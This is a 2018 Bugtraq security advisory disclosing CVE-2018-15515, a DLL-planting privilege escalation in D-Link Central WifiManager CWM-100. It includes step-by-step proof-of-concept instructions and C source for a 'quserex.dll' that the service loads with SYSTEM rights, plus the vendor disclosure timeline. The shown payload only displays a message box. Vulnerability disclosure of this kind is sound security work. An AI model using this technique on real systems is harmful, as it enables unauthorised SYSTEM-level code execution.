bugtraq - D-LINK Central WifiManager CWM-100 Trojan File SYSTEM Privilege Escalation CVE-2018-15515

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Message-Id: <201811180449.wAI4nH7u013782@ip-100-122-145-1.us-east-1.ec2.aws.symcpe.net>
Date: Sun, 18 Nov 2018 04:49:17 GMT
From: apparitionsec@...il.com
To: bugtraq@...urityfocus.com
Subject: D-LINK Central WifiManager CWM-100 Trojan File SYSTEM Privilege
 Escalation CVE-2018-15515

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/DLINK-CENTRAL-WIFI-MANAGER-CWM-100-SYSTEM-PRIVILEGE-ESCALATION.txt
[+] ISR: ApparitionSec          

***Greetz: indoushka | Eduardo B.***

[Vendor]
us.dlink.com

[Product]
D-LINK Central WifiManager (CWM 100)
Version 1.03 r0098
http://us.dlink.com/products/business-solutions/central-wifimanager-software-controller/

D-Link’s free Central WiFiManager is a web-based wireless Access Point management tool, enabling you to create and manage multi-site, multi-tenancy wireless networks.

[Vulnerability Type]
Trojan File SYSTEM Privilege Escalation

[Affected Component]
"quserex.dll"

[CVE Reference]
CVE-2018-15515

[Security Issue]
D-Link Central WiFiManager CWM-100 1.03 r0098 devices will load a Trojan horse "quserex.dll" and will create a new thread running with SYSTEM integrity.

[Impact]
Code Execution as SYSTEM

[Exploit/POC]
1) Create 32bit DLL named "quserex.dll" and place in "CaptivelPortal.exe" directory under the DLINK directory

2) Restart the service "CaptivelPortal"

3) Proof, examine using process monitor (sysinternals)

#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 quserex.c
gcc -shared -m32 -o quserex.dll quserex.o
*/

void executo(){
  MessageBox(NULL, "Enjoy ur SYSTEM Integrity!", ":)", MB_OK);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
 switch(fdwReason){
  case DLL_PROCESS_ATTACH:{
	executo();
	break;
	}
  case DLL_PROCESS_DETACH:{
	executo();
	break;
	}
  case DLL_THREAD_ATTACH:{
	executo();
	break;
       }
  case DLL_THREAD_DETACH:{
	executo();
	break;
	}
   }
	return TRUE;
}

[Network Access]
Local

[Severity]
High

[Disclosure Timeline]
Vendor Notification: August 8, 2018
Vendor acknowledgement: August 8, 2018
CVE assigned Mitre: August 18, 2018
Request update: August 31, 2018
No reply from vendor
Request update: September 6, 2018
Vendor: "R&D has begun this month to patch your report." : September 12, 2018
Request update: October 3, 2018
Vendor: "will release a new beta for QA verification by end of this month 10'2018."
Request update: October 16, 2018
no reply from vendor
Request update: October 23, 2018
Vendor: "It still is schedule to be released by the 31st." : October 23, 2018
Inform vendor of disclosure by November 8, 2018 : October 31, 2018
No reply from vendor
November 8, 2018 : Public Disclosure

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